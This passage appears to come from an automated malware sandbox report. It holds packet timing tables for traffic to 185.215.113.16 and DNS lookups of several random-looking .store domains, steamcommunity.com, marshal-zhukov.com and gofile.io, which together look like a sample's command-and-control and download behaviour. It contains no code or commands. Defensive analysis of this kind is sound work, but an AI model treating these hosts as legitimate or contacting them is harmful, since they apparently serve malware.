Nov 12, 2024 02:13:39.401806116 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401823044 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401824951 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.401833057 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401839018 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.401845932 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401846886 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.401859045 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401868105 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.401870966 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401875973 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.401881933 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401892900 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401895046 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.401901007 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.401906013 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401920080 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.401937962 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.401963949 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401974916 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.401987076 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402004004 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.402021885 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.402043104 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402054071 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402079105 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.402100086 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.402178049 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402188063 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402198076 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402220011 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.402241945 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.402333975 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402374983 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.402390957 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402401924 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402434111 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.402446032 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402458906 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402491093 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.402503014 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.402573109 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402591944 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402612925 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402620077 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.402630091 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.402656078 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.402689934 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402736902 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.402786016 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402803898 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402825117 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.402838945 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.402884007 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402898073 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.402926922 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.403095007 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.403142929 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.403165102 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.403177977 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.403188944 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.403202057 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.403203964 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.403227091 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.403227091 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.403242111 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.443712950 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.443732023 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.443898916 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.470423937 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.470448971 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.470458984 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.470483065 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.470500946 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.470663071 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.470674992 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.470685959 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.470698118 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.470709085 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.470710993 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.470722914 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.470733881 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.470733881 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.470746040 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.470757008 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.470777035 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.470782995 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.470796108 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.470807076 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.470817089 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.470818996 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.470833063 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.470841885 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.470845938 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.470856905 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.470864058 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.470885992 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471019983 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471033096 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471049070 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471070051 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471071959 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471076965 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471085072 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471106052 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471127987 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471256018 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471276045 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471290112 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471299887 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471302032 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471307993 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471319914 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471321106 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471338987 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471362114 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471476078 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471487999 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471498966 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471522093 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471540928 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471540928 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471553087 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471565008 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471574068 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471597910 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471745968 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471790075 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471792936 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471801996 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471823931 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471827984 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471828938 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471863031 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.471911907 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.471956968 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.472003937 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.472019911 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.472032070 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.472043991 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.472064018 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.472064018 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.472091913 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.472110033 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.472121954 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.472131968 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.472131968 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.472140074 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.472157955 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.472171068 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.512286901 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.512300014 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.512310982 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.512316942 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.512387991 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.513232946 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513253927 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513267994 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513292074 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.513297081 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513309002 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513314009 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.513333082 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.513353109 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.513380051 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513391972 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513422966 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.513616085 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513628960 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513639927 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513654947 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.513668060 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.513684988 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513698101 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513724089 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.513726950 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513741970 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.513752937 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513763905 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513767004 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.513786077 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.513792038 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.513848066 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513870955 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513881922 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.513892889 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.513900995 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.513921022 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.517997026 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518027067 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518048048 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518059969 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518069983 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518105984 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518115997 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518148899 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518230915 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518275023 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518282890 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518295050 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518316984 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518318892 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518330097 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518335104 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518345118 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518369913 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518419027 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518429995 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518440962 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518461943 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518482924 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518709898 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518740892 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518753052 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518764973 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518773079 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518780947 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518791914 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518794060 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518815994 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518826008 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518870115 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518882036 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518893003 CET	80	49763	185.215.113.16	192.168.2.4
Nov 12, 2024 02:13:39.518912077 CET	49763	80	192.168.2.4	185.215.113.16
Nov 12, 2024 02:13:39.518923998 CET	49763	80	192.168.2.4	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 12, 2024 02:13:12.881457090 CET	192.168.2.4	1.1.1.1	0xc46e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:12.881608009 CET	192.168.2.4	1.1.1.1	0x6aed	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 12, 2024 02:13:16.437097073 CET	192.168.2.4	1.1.1.1	0xce04	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:16.437237024 CET	192.168.2.4	1.1.1.1	0xce9c	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 12, 2024 02:13:17.440424919 CET	192.168.2.4	1.1.1.1	0x9058	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:17.441142082 CET	192.168.2.4	1.1.1.1	0xb520	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 12, 2024 02:13:58.983544111 CET	192.168.2.4	1.1.1.1	0x20a5	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.013036966 CET	192.168.2.4	1.1.1.1	0x9615	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.039550066 CET	192.168.2.4	1.1.1.1	0xf0e6	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.065890074 CET	192.168.2.4	1.1.1.1	0x372	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.103734970 CET	192.168.2.4	1.1.1.1	0x8982	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.130152941 CET	192.168.2.4	1.1.1.1	0x85a9	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.156459093 CET	192.168.2.4	1.1.1.1	0x8962	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.183058023 CET	192.168.2.4	1.1.1.1	0x1a44	Standard query (0)	scriptyprefej.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.209609985 CET	192.168.2.4	1.1.1.1	0xdaad	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:00.882217884 CET	192.168.2.4	1.1.1.1	0x36d6	Standard query (0)	marshal-zhukov.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:11.338011980 CET	192.168.2.4	1.1.1.1	0x1a18	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:11.367670059 CET	192.168.2.4	1.1.1.1	0x510f	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:11.376718998 CET	192.168.2.4	1.1.1.1	0xbf6e	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:11.403455973 CET	192.168.2.4	1.1.1.1	0xd85b	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:11.430069923 CET	192.168.2.4	1.1.1.1	0x9a38	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:11.457382917 CET	192.168.2.4	1.1.1.1	0xae99	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:11.485346079 CET	192.168.2.4	1.1.1.1	0x3af0	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:11.522388935 CET	192.168.2.4	1.1.1.1	0x92c1	Standard query (0)	scriptyprefej.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:22.709608078 CET	192.168.2.4	1.1.1.1	0xab0b	Standard query (0)	cold-eu-fsn-2.gofile.io	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:24.131340027 CET	192.168.2.4	1.1.1.1	0xa3f	Standard query (0)	gofile.io	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.258569002 CET	192.168.2.4	1.1.1.1	0xdecb	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.290115118 CET	192.168.2.4	1.1.1.1	0x1c5d	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.317030907 CET	192.168.2.4	1.1.1.1	0xe1e4	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.344501019 CET	192.168.2.4	1.1.1.1	0x3a99	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.370595932 CET	192.168.2.4	1.1.1.1	0x252	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.399126053 CET	192.168.2.4	1.1.1.1	0x6644	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.435089111 CET	192.168.2.4	1.1.1.1	0x3ac4	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.461078882 CET	192.168.2.4	1.1.1.1	0x9e3f	Standard query (0)	scriptyprefej.store	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:36.489303112 CET	192.168.2.4	1.1.1.1	0x36bf	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 12, 2024 02:13:12.888096094 CET	1.1.1.1	192.168.2.4	0xc46e	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:12.888138056 CET	1.1.1.1	192.168.2.4	0x6aed	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 12, 2024 02:13:16.443773985 CET	1.1.1.1	192.168.2.4	0xce04	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 02:13:16.443773985 CET	1.1.1.1	192.168.2.4	0xce04	No error (0)	plus.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:16.443996906 CET	1.1.1.1	192.168.2.4	0xce9c	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 02:13:17.447707891 CET	1.1.1.1	192.168.2.4	0x9058	No error (0)	play.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.008007050 CET	1.1.1.1	192.168.2.4	0x20a5	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.037648916 CET	1.1.1.1	192.168.2.4	0x9615	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.063731909 CET	1.1.1.1	192.168.2.4	0xf0e6	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.101696968 CET	1.1.1.1	192.168.2.4	0x372	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.128262043 CET	1.1.1.1	192.168.2.4	0x8982	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.154587984 CET	1.1.1.1	192.168.2.4	0x85a9	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.180749893 CET	1.1.1.1	192.168.2.4	0x8962	Name error (3)	navygenerayk.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.207554102 CET	1.1.1.1	192.168.2.4	0x1a44	Name error (3)	scriptyprefej.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:13:59.216794968 CET	1.1.1.1	192.168.2.4	0xdaad	No error (0)	steamcommunity.com		23.197.127.21	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:01.038208961 CET	1.1.1.1	192.168.2.4	0x36d6	No error (0)	marshal-zhukov.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:01.038208961 CET	1.1.1.1	192.168.2.4	0x36d6	No error (0)	marshal-zhukov.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:11.363081932 CET	1.1.1.1	192.168.2.4	0x1a18	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:11.374531984 CET	1.1.1.1	192.168.2.4	0x510f	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:11.401510000 CET	1.1.1.1	192.168.2.4	0xbf6e	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:11.428026915 CET	1.1.1.1	192.168.2.4	0xd85b	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:11.455404997 CET	1.1.1.1	192.168.2.4	0x9a38	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:11.484322071 CET	1.1.1.1	192.168.2.4	0xae99	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:11.512944937 CET	1.1.1.1	192.168.2.4	0x3af0	Name error (3)	navygenerayk.store	none	none	A (IP address)	IN (0x0001)	false
Nov 12, 2024 02:14:11.546972990 CET	1.1.1.1	192.168.2.4	0x92c1	Name error (3)	scriptyprefej.store	none	none	A (IP address)	IN (0x0001)	false
